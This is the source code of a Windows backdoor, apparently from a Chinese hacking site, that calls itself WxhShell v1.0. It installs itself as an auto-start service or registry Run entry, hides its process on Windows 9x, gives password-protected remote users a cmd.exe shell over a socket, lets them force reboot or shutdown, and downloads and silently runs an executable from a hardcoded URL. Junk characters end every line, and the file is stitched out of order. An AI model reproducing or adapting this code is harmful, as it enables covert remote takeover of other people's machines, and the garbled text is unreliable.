    ExitThread(0); 2@pEuB3$?!  
    } 2L?Pw   
    break; B6]M\4v  
    } y3mJO[U0 a  
  // 关机 9 X87"  
  case 'd': { yv.(Oy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~H`(zzk  
    if(Boot(SHUTDOWN)) P!lTK   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hgF4PdO1e  
    else { Rm=[Sj84  
    closesocket(wsh); %2rUJaOgy$  
    ExitThread(0); t0o'_>*?A  
    } ,F0bkNBG  
    break; /PtmJ2 [  
    } Ec|5'Kz]  
  // 获取shell r`d.Wy Zj  
  case 's': { OeY+Yt0  
    CmdShell(wsh); ?L6ACi`9  
    closesocket(wsh); qeoj  
    ExitThread(0); "z ;ky8  
    break; "?Xb$V7  
  } yI}_ U  
  // 退出 RyN?Sn5)  
  case 'x': { ;NrU|g/ksX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l|~SVk|  
    CloseIt(wsh); -hpMd/F  
    break; 1$rrfg  
    } 7Dwf0Re`  
  // 离开 jxA*Gg3cT5  
  case 'q': { c^BeT;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X5Ff2@."y|  
    closesocket(wsh); ^[-3qi  
    WSACleanup(); \d"M&-O  
    exit(1); Mj-B;r  
    break; t[?O*>  
        } 1M/_:UH`  
  } /*) =o+  
  } ] iVoF N}^  
Rac4a@hZ  
  // 提示信息 >-<7 r?~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9_\1cSk'  
} >&2n\HR\  
  } %^66(n)  
WG.J-2#3  
  return; {,b:f  
} ;l2pdP4jf  
ys$X!Ep  
// shell模块句柄 <bxp/#6D  
int CmdShell(SOCKET sock) +UC-  
{ A]"IQ-  
STARTUPINFO si; 1r;.r|  
ZeroMemory(&si,sizeof(si)); <MoKTP-<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?*)wQZt;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8gI~x.k`  
PROCESS_INFORMATION ProcessInfo; G[!Y6c 3  
char cmdline[]="cmd"; Mny mV;y"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y'%k G5nF  
  return 0; G/5]0]SO  
} m;"dLUb  
f1UGDC<p9  
// 自身启动模式 &nEQ `3~F  
int StartFromService(void) by%k*y  
{ qT+:oMrTSm  
typedef struct \Z%V)ZRi=  
{ %["V "{ z  
  DWORD ExitStatus; "<I*ViZ  
  DWORD PebBaseAddress; ISl-W1u}  
  DWORD AffinityMask; !]z6?kUK  
  DWORD BasePriority; S`?cs^?  
  ULONG UniqueProcessId; gw);b)&mx  
  ULONG InheritedFromUniqueProcessId; _f5n t:-  
}   PROCESS_BASIC_INFORMATION; 8]-c4zK  
-?&s6XA%#  
PROCNTQSIP NtQueryInformationProcess; 5 NdIbC  
p[lciWEW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V57tn6 >b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QUU'/e2^c  
&lYe  
  HANDLE             hProcess; *wetPt)~v_  
  PROCESS_BASIC_INFORMATION pbi; vD*9b.*  
>X!A/; $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Swg%[r=p=  
  if(NULL == hInst ) return 0; D,J yb0BW  
-YHyJs-bU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lGAKHCs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); />\6_kT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K<Qy1y~[  
>*aqYNft  
  if (!NtQueryInformationProcess) return 0; 9F^rXY.  
UjI -<|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oDEvhN T  
  if(!hProcess) return 0; 4(FEfde=  
jvfQG:F }  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4S+sz?W2j  
,>Lj>g{~  
  CloseHandle(hProcess); RRH[$jk  
9!06R-h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ai,Nx:r   
if(hProcess==NULL) return 0; 5*W<6ia  
}yW*vy6`  
HMODULE hMod; b4HUgW3Ac  
char procName[255]; $-:j'e:j  
unsigned long cbNeeded; 6$|!_94>*)  
%+,7=Wt-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &=d0'3k>  
1SYBq,[])  
  CloseHandle(hProcess); 9 L^:N)-  
 + Y  
if(strstr(procName,"services")) return 1; // 以服务启动 U F ]g6u  
XV> )[Nd\H  
  return 0; // 注册表启动 P,@ :?6  
} $rG~0  
GE{u2<%@  
// 主模块 xfyUT^  
int StartWxhshell(LPSTR lpCmdLine) v!EE[[  
{ Q7b$j\;I  
  SOCKET wsl; &7CAxU;i3  
BOOL val=TRUE; wUbs9y<  
  int port=0; O$Z<R:vVA  
  struct sockaddr_in door; (?7=$z!h  
gZD,#D.hR  
  if(wscfg.ws_autoins) Install(); dUg| {l  
T+y3Ph--^  
port=atoi(lpCmdLine); <!r0[bKz@  
Mmu>&C\  
if(port<=0) port=wscfg.ws_port; 7u9!:}Tu  
Y79{v nlGk  
  WSADATA data; X( H-U q*(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g^dPAjPQ  
`Ko6;s#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rcWr0q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jm l4EW7  
  door.sin_family = AF_INET; (\=iKE4#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OYsG#  
  door.sin_port = htons(port); v)a$;P%  
},G>+ s8h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +80yyn#  
closesocket(wsl); ]"Qm25`Qz  
return 1; 1|c\^;cTkt  
} 6fOh *  
H[a1n' "<:  
  if(listen(wsl,2) == INVALID_SOCKET) { DfNX@gbo  
closesocket(wsl); LmKG6>Q1#1  
return 1; 0Q1s JDa.  
} </OZ,3J=  
  Wxhshell(wsl); dfmxz7V  
  WSACleanup(); -8]M ,,?  
85Hb~|0  
return 0; lQolE P.pc  
zu~E}  
} wSMP^kG  
/5y*ZIq]e  
// 以NT服务方式启动 ]^63n/Twj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2sOV3~bB  
{   vZQ'  
DWORD   status = 0; uNV\_'9>Y  
  DWORD   specificError = 0xfffffff; p+;[i%`  
QlHxdRK`.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A\jX#gg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RU1+ -   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k>8,/ AZd  
  serviceStatus.dwWin32ExitCode     = 0; `n# {}%  
  serviceStatus.dwServiceSpecificExitCode = 0; zMUifMiAj  
  serviceStatus.dwCheckPoint       = 0; $]G_^ji)K  
  serviceStatus.dwWaitHint       = 0; JY|f zL  
];.H]TIc6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xy>+r[$D:  
  if (hServiceStatusHandle==0) return; L(yR"A{FsE  
UoLvc~n7  
status = GetLastError(); BihXYux*  
  if (status!=NO_ERROR) ~9OART='  
{ $ 'B0ZL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *[(}rpp M  
    serviceStatus.dwCheckPoint       = 0; y3 R+060\3  
    serviceStatus.dwWaitHint       = 0; L;7x2&  
    serviceStatus.dwWin32ExitCode     = status; T-: @p>  
    serviceStatus.dwServiceSpecificExitCode = specificError; YmS}*>oz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f ,?P1D\  
    return; ]&')# YO  
  } Ig hd,G-  
`(r [BV|h}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gsqpQq7  
  serviceStatus.dwCheckPoint       = 0; yJ(p-3O5  
  serviceStatus.dwWaitHint       = 0; d8|bO#a%9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (qDu|S3P  
} p#~Dq(Q  
`@acQs;0  
// 处理NT服务事件,比如:启动、停止 Qg\OJmv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JY+ N+c\  
{ tntQO!pM  
switch(fdwControl) q&h&GZ  
{ oCBZ9PGkK  
case SERVICE_CONTROL_STOP: }=':)?'-.  
  serviceStatus.dwWin32ExitCode = 0; ;_.%S*W\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !z !R)6  
  serviceStatus.dwCheckPoint   = 0; Sc!{ o!9\  
  serviceStatus.dwWaitHint     = 0; qjsS2,wM  
  { [dK5kO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GgoPwl#{  
  } a)+;<GZ~  
  return; H0zKL]D'>  
case SERVICE_CONTROL_PAUSE: Fu*~{n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5$,dpLbL  
  break; R89 ;<,Ie  
case SERVICE_CONTROL_CONTINUE: r*|#*"K"a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ay\e# )  
  break; ?I6us X9$  
case SERVICE_CONTROL_INTERROGATE: p nS{W \Q  
  break; .e $W(}  
}; akuV9S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~bp^Q| wM  
} d66 GO];"  
73kF=*m  
// 标准应用程序主函数 < p<J;@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $"d< F3k  
{ 2L#$WuM~^  
LRqBP|bjCD  
// 获取操作系统版本 U2=PmS P  
OsIsNt=GetOsVer(); t;7 tuq   
GetModuleFileName(NULL,ExeFile,MAX_PATH); v-;j44sB  
p#VA-RSUQ|  
  // 从命令行安装 N|n"JKw)  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,4bqjkX5q  
"T`Q,  
  // 下载执行文件 xwZcO  
if(wscfg.ws_downexe) { H'fmQf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b<|l* \  
  WinExec(wscfg.ws_filenam,SW_HIDE); f?_UT}n  
} [ 7W@/qqv  
gK{-eS  
if(!OsIsNt) { ^f:oKKaAW;  
// 如果时win9x,隐藏进程并且设置为注册表启动 qSRE)C=)  
HideProc(); (x{6N^J.t  
StartWxhshell(lpCmdLine); RR u1/nam  
} 1LbJR'}  
else T)"B35  
  if(StartFromService()) pDGX$1O"  
  // 以服务方式启动 X>C l{.  
  StartServiceCtrlDispatcher(DispatchTable); B|Y6;4?  
else (mHCK5  
  // 普通方式启动 481SDG[b  
  StartWxhshell(lpCmdLine); dqU bJc]  
?mdgY1  
return 0; a#iJXI  
} 'eNcQJh  
Zrtyai{8l  
y$=$Yc&Ub  
uqaP\  
=========================================== yF &"'L  
Nr\[|||%  
m{(G%n>E&  
'lPt.*Y<u  
vf=b5s(7Q  
<IWO:7*#  
" I:4m]q b  
$F|3VQ~  
#include <stdio.h> [whX),3>  
#include <string.h> l6^IX0&p  
#include <windows.h> f; <qGM.#|  
#include <winsock2.h> 4{?Djnh  
#include <winsvc.h> Y#9dVUS  
#include <urlmon.h> (Ev/R%Z  
wAC*D=Qj  
#pragma comment (lib, "Ws2_32.lib") bLrC_  
#pragma comment (lib, "urlmon.lib") 2f'3Vjp~G  
| |=q"h3(  
#define MAX_USER   100 // 最大客户端连接数 &tT*GjPwg;  
#define BUF_SOCK   200 // sock buffer W'l &rm@  
#define KEY_BUFF   255 // 输入 buffer  `Pa)H  
cNi)[2o7  
#define REBOOT     0   // 重启 M_wqb'=  
#define SHUTDOWN   1   // 关机 {H FF|Dx  
O?<R.W<QI  
#define DEF_PORT   5000 // 监听端口 oxN~(H)/ #  
['p%$4i$  
#define REG_LEN     16   // 注册表键长度 F dR!jt  
#define SVC_LEN     80   // NT服务名长度 \ W3\P=  
gxry?':  
// 从dll定义API U$; FOl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AV"fOK;#A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v%_5!SR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tx)X\&ij&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %d<uOCf\Q  
u{F^Ngy )  
// wxhshell配置信息 zKycd*X  
struct WSCFG { 's.%rre%  
  int ws_port;         // 监听端口 UZ8 vZ  
  char ws_passstr[REG_LEN]; // 口令 8!a6)Zeux  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q;m:o8Q5  
  char ws_regname[REG_LEN]; // 注册表键名 u)]]9G _8  
  char ws_svcname[REG_LEN]; // 服务名 Z83A1`!.|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RcQo1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XU f]gQu3=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^T):\x(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y|eB;Dm1q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jS LNQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `~zY!sK  
9G7lPK  
}; +8tdAw  
86[/NTD<-  
// default Wxhshell configuration m_{?py@tZ  
struct WSCFG wscfg={DEF_PORT, 0/".2(\}T  
    "xuhuanlingzhe", bVE t?E*+  
    1, Ood8Qty(  
    "Wxhshell", K)m\xzT/  
    "Wxhshell", *82f {t]  
            "WxhShell Service", Ku6bY|  
    "Wrsky Windows CmdShell Service", [nQ<pTg~r  
    "Please Input Your Password: ", N1dp%b9W(  
  1, 9cJzL"yi  
  "http://www.wrsky.com/wxhshell.exe", ]s3U+t?  
  "Wxhshell.exe" i #5rk(^t  
    }; vWbf5?  
^a=,,6T  
// 消息定义模块 FX+;azE7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5v51:g>c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ![ & go  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bERYC|  
char *msg_ws_ext="\n\rExit."; $S~e"ca1  
char *msg_ws_end="\n\rQuit."; jD@KG  
char *msg_ws_boot="\n\rReboot..."; 2rS|V|d  
char *msg_ws_poff="\n\rShutdown..."; |Qq_;x]  
char *msg_ws_down="\n\rSave to "; ,j{$SuZ M  
J|k~e,C  
char *msg_ws_err="\n\rErr!"; jOuz-1x,&  
char *msg_ws_ok="\n\rOK!"; }R.<\  
RS'%;B-)  
char ExeFile[MAX_PATH]; &|t*9 D  
int nUser = 0; 9~8UG (  
HANDLE handles[MAX_USER]; ?S9!;x<  
int OsIsNt; P I gbeP  
Ra\>^W6z  
SERVICE_STATUS       serviceStatus; tvH{[e$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X{SD3j=G#  
/b*VFA/75  
// 函数声明 6qsT/  
int Install(void); JJL#Y  
int Uninstall(void); FKU$HQw*  
int DownloadFile(char *sURL, SOCKET wsh); ^j1?LB  
int Boot(int flag); H-gq0+,yE  
void HideProc(void); JFw<Po,MEa  
int GetOsVer(void); k_)H$*  
int Wxhshell(SOCKET wsl); ^rd]qii"  
void TalkWithClient(void *cs); &%QtUPvr9  
int CmdShell(SOCKET sock); :OC`X~}Rc  
int StartFromService(void); '%&i#Eb  
int StartWxhshell(LPSTR lpCmdLine); i#$N,kt  
`'BvUTDyZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \ "193CW!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vj^<V|=  
AplXl=  
// 数据结构和表定义 vh8{*9+  
SERVICE_TABLE_ENTRY DispatchTable[] = Eeem y*U  
{ vAW+ ,Rfj  
{wscfg.ws_svcname, NTServiceMain}, ,(0q  
{NULL, NULL} cC'{+j8-a  
}; ?zwPF;L*  
R8 1z|+c|_  
// 自我安装 |2,'QTm=  
int Install(void) 0) }bJ,5/  
{ ;M '?k8L  
  char svExeFile[MAX_PATH]; Ip}(!D|  
  HKEY key; D'y/ pv}!  
  strcpy(svExeFile,ExeFile); 4zyy   
2" (vjnfH  
// 如果是win9x系统,修改注册表设为自启动 !"\UT&  
if(!OsIsNt) { '2+Rb7V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S:qML]RO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _9!_fIY  
  RegCloseKey(key); Xz`?b4i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =y" lX{}G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @}&o(q1M0  
  RegCloseKey(key); B|#*I[4`w@  
  return 0; a%2r]:?^?  
    } K-V NU  
  } MH{$"^K  
} D4?qw$"  
else { m09 Bds  
{b4+ Yc  
// 如果是NT以上系统,安装为系统服务 (dO, +~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bg$df 0  
if (schSCManager!=0) `.PZx%=  
{ ax7]>Z=%d"  
  SC_HANDLE schService = CreateService N~H9|CX  
  ( r0=Aru5n  
  schSCManager, T9enyYt%  
  wscfg.ws_svcname, "T4Z#t  
  wscfg.ws_svcdisp,  S5RQ  
  SERVICE_ALL_ACCESS, .Y.\D\>~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L5C4#X  
  SERVICE_AUTO_START, DJSSc  
  SERVICE_ERROR_NORMAL, #7OUqp  
  svExeFile, 3^kZydZ CN  
  NULL, 7<&CN0&  
  NULL, |n-NK&Y(o  
  NULL, xmz83Ll9  
  NULL, S[!-M\b  
  NULL VIo %((  
  ); Hf P2o5-  
  if (schService!=0) +JE h7  
  { <6k5nEh  
  CloseServiceHandle(schService);  ol^J-  
  CloseServiceHandle(schSCManager); P@LYa_UFsN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V[>MKB(  
  strcat(svExeFile,wscfg.ws_svcname); [4,=%ez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y~_wr}.CS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2T!pFcc  
  RegCloseKey(key); ; 2K_u  
  return 0; 09y%FzV  
    } 7VkT(xnm  
  } aL@myq.  
  CloseServiceHandle(schSCManager); mx  s=<  
} |eIEqq.Eb  
} 9W$FX  
\`?l6'!  
return 1; a5o&6_  
} 0ts] iQ7  
)24r^21.q  
// 自我卸载 `mV&[`NZ  
int Uninstall(void) i,>yIPBU!  
{ (C/2shr 8  
  HKEY key; ON~jt[  
h%MjVuLn  
if(!OsIsNt) { " SkTVqm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?.#?h>MS{s  
  RegDeleteValue(key,wscfg.ws_regname); M{$EJS\d=  
  RegCloseKey(key); d *ch.((-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YUdCrb9F  
  RegDeleteValue(key,wscfg.ws_regname); 8:c[_3w  
  RegCloseKey(key); >YuBi:z  
  return 0; 0?525^   
  } :Rc>=)<7  
} E[bJ5o**#  
} k4te[6)  
else { .]`LR@qf  
7a.$tT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >h>X/a(=~  
if (schSCManager!=0) l@ vaupg  
{ x_lCagRGC4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D{YAEG   
  if (schService!=0) 4f/2gI1@B  
  { zJNiAc  
  if(DeleteService(schService)!=0) { V,?i]q;5  
  CloseServiceHandle(schService); {Lu-!}\NP  
  CloseServiceHandle(schSCManager); >$h*1/  
  return 0; +$M%"=tk  
  } qQC<oR  
  CloseServiceHandle(schService); E,,)?^g  
  } tW;?4}JR  
  CloseServiceHandle(schSCManager); kxU <?0  
} in_~,fd  
} !|K~)4%rj  
MJS4^*B\1  
return 1; p$^}g:  
} VR/7CI4=  
Z3E957}  
// 从指定url下载文件 ]JB~LQz]k  
int DownloadFile(char *sURL, SOCKET wsh) 490gW?u  
{ NBzyP)2)  
  HRESULT hr; G+?@4?` z  
char seps[]= "/"; &!uw;|%  
char *token; Htn'(Q  
char *file; BU-+L}-48  
char myURL[MAX_PATH]; ZzET8?8  
char myFILE[MAX_PATH]; EMME?OW$  
^LgaMmz  
strcpy(myURL,sURL); X6s6fu;  
  token=strtok(myURL,seps); a-\\A[E  
  while(token!=NULL) qa 'YZE`  
  { ?eD,\G  
    file=token; 5^lroC-(x  
  token=strtok(NULL,seps); j&n][=PL  
  } \ZiZ X$  
`C 'WSr  
GetCurrentDirectory(MAX_PATH,myFILE); 5&]|p'"W\  
strcat(myFILE, "\\"); (CKx s I@  
strcat(myFILE, file); 7Yp;B:5@  
  send(wsh,myFILE,strlen(myFILE),0); 1(6B|w5+  
send(wsh,"...",3,0); ;4<CnC**  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =Ly7H7Q2  
  if(hr==S_OK) kgfOH.P  
return 0; W!B4~L  
else Z}_{@|  
return 1; w5uOi}T\  
b'Cy!dr  
}  |/K+tH  
idiJ|2T"G  
// 系统电源模块 <1#v}epD#  
int Boot(int flag) 1.WdxMpW9  
{ c$aTl9e  
  HANDLE hToken; (3YqM7cqt  
  TOKEN_PRIVILEGES tkp; F#S^Q`  
 qGG  
  if(OsIsNt) { sIQd }  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); It,m %5 Py  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JJJlgr]#  
    tkp.PrivilegeCount = 1; g;)xf?A9q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - Z?rx5V;t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ldcYw@KQ  
if(flag==REBOOT) { }}Ah-QU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) seWYY $$  
  return 0; c`~aiC`l  
} x]umh{H~  
else { O8+e: K[D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h*2Q0GRX  
  return 0; `F<)6fk  
} Ep-{Ew{T_=  
  } W tF  
  else { I,dH\]^h=  
if(flag==REBOOT) { |@pJ]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gs$<r~Tg  
  return 0; mlCw(i,  
} 5P_%Vp`B2  
else { cF{5[?wS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xzF@v>2S+  
  return 0; #iD5& klo\  
} UKyOkuY:w  
} rQT@:$ )  
s>`$]6wPa  
return 1; l<  8RG@  
} lV!ecJw$  
WHxq-&=  
// win9x进程隐藏模块 /zZ$<mVG  
void HideProc(void) kOR5'rh  
{ tK)E*!  
*k'D%}N:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <%klrQya  
  if ( hKernel != NULL ) vU Bk oC2Q  
  { |__\Vn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VgG*y#Qf$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #mY*H^jI]~  
    FreeLibrary(hKernel); UP=0>jjbn:  
  } X~XpX7d!  
 4"72  
return; *=i|E7Irg  
} 7M#2Tze}  
5`,qKJ  
// 获取操作系统版本 I12WOL q  
int GetOsVer(void) P6w!r>?6N  
{ wic"a Y<m  
  OSVERSIONINFO winfo; ]0P-?O:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,^,KWi9  
  GetVersionEx(&winfo); b,kXV<KtU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rb=T'x'  
  return 1; V D+TJ` r  
  else |GgFdn`>  
  return 0; 6L Z(bP'd;  
} ]CyWL6 z  
^ sIxR*C[v  
// 客户端句柄模块 {M: Fsay>p  
int Wxhshell(SOCKET wsl) cl4`FU  
{ 5]cmDk  
  SOCKET wsh; [?u iM^&  
  struct sockaddr_in client; , Zs:e.  
  DWORD myID; tWL3F?wd  
\/,54c2  
  while(nUser<MAX_USER) Q" BIk =  
{ 8 PI>Q  
  int nSize=sizeof(client); kQ4-W9u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j|3p.Cy  
  if(wsh==INVALID_SOCKET) return 1; TS+itU62  
z7'3d7r?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z 4NNrA#  
if(handles[nUser]==0) HV'xDy[)  
  closesocket(wsh); $I&DAGV0  
else *FyBkG'  
  nUser++; v-2_#  
  } TR3_!0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y7aBF13Kl  
HHa XK  
  return 0; 1(0LX^%  
} TJ9JIxnS  
I3uS?c  
// 关闭 socket dr3#?%  
void CloseIt(SOCKET wsh) 5 {cbcuG  
{ <i34;`)b  
closesocket(wsh); B3[;}8u>  
nUser--; PR?Ls{}p\  
ExitThread(0); %rVC3}  
} 5]yQMY\2)  
v^2q\A-?  
// 客户端请求句柄 c6gRXp'ID  
void TalkWithClient(void *cs) 1HYrJb,d  
{ :f (UZmV$  
xab1`~%K  
  SOCKET wsh=(SOCKET)cs; 6 J[ {?,  
  char pwd[SVC_LEN]; (+}H ih  
  char cmd[KEY_BUFF]; +{Yd\{9  
char chr[1]; 9[}L=n  
int i,j; [#$:X+lw  
7Pspx'u  
  while (nUser < MAX_USER) { {HPKp&kl  
Ft)7Wx" S  
if(wscfg.ws_passstr) { l<I.;FN^9@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gs]m; "o|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t.|b285e  
  //ZeroMemory(pwd,KEY_BUFF); !v(j#N< m  
      i=0; C5mq@$6  
  while(i<SVC_LEN) { SQ7Ws u>T@  
7i?"akr4  
  // 设置超时 ximW!y7  
  fd_set FdRead; b4%sOn,  
  struct timeval TimeOut; u*:B 9E  
  FD_ZERO(&FdRead); xgV. <^  
  FD_SET(wsh,&FdRead); Htd-E^/  
  TimeOut.tv_sec=8; KhK:%1po  
  TimeOut.tv_usec=0; Gkci_A*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sd|5oz )  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kj_ o I5<'  
 =`fJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -_&"Q4FR;+  
  pwd=chr[0]; #&zNYzI  
  if(chr[0]==0xd || chr[0]==0xa) { }gw \w?/  
  pwd=0; k?-GI[@X  
  break;  WK;X6`  
  } ?v8.3EE1\o  
  i++; nojJGeW%  
    } 4D(5WJ&  
#~]S  
  // 如果是非法用户,关闭 socket SSH))zJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H4DM,.04  
} Q?df5{6  
E`68Z/%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ce 3{KGBw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jG8W|\8  
( )K,~  
while(1) { 1#LXy%^tO  
._2#89V  
  ZeroMemory(cmd,KEY_BUFF); 1&%6sZN  
"b)Y5[nW  
      // 自动支持客户端 telnet标准   vsc)EM ]  
  j=0; aH7i$U&  
  while(j<KEY_BUFF) { nn'a` N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t){})nZ/4  
  cmd[j]=chr[0]; }pk)\^/w/  
  if(chr[0]==0xa || chr[0]==0xd) { m$b5Vqq  
  cmd[j]=0; 8Mx+tA  
  break; z0=(l?)#  
  } 9K~0:c  
  j++; h/`]=kCl  
    } =[]V$<G'w{  
o@SL0H-6|  
  // 下载文件 YC(7k7  
  if(strstr(cmd,"http://")) { pW{Q%"W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O  |45r   
  if(DownloadFile(cmd,wsh)) ?U+^ctwv7  
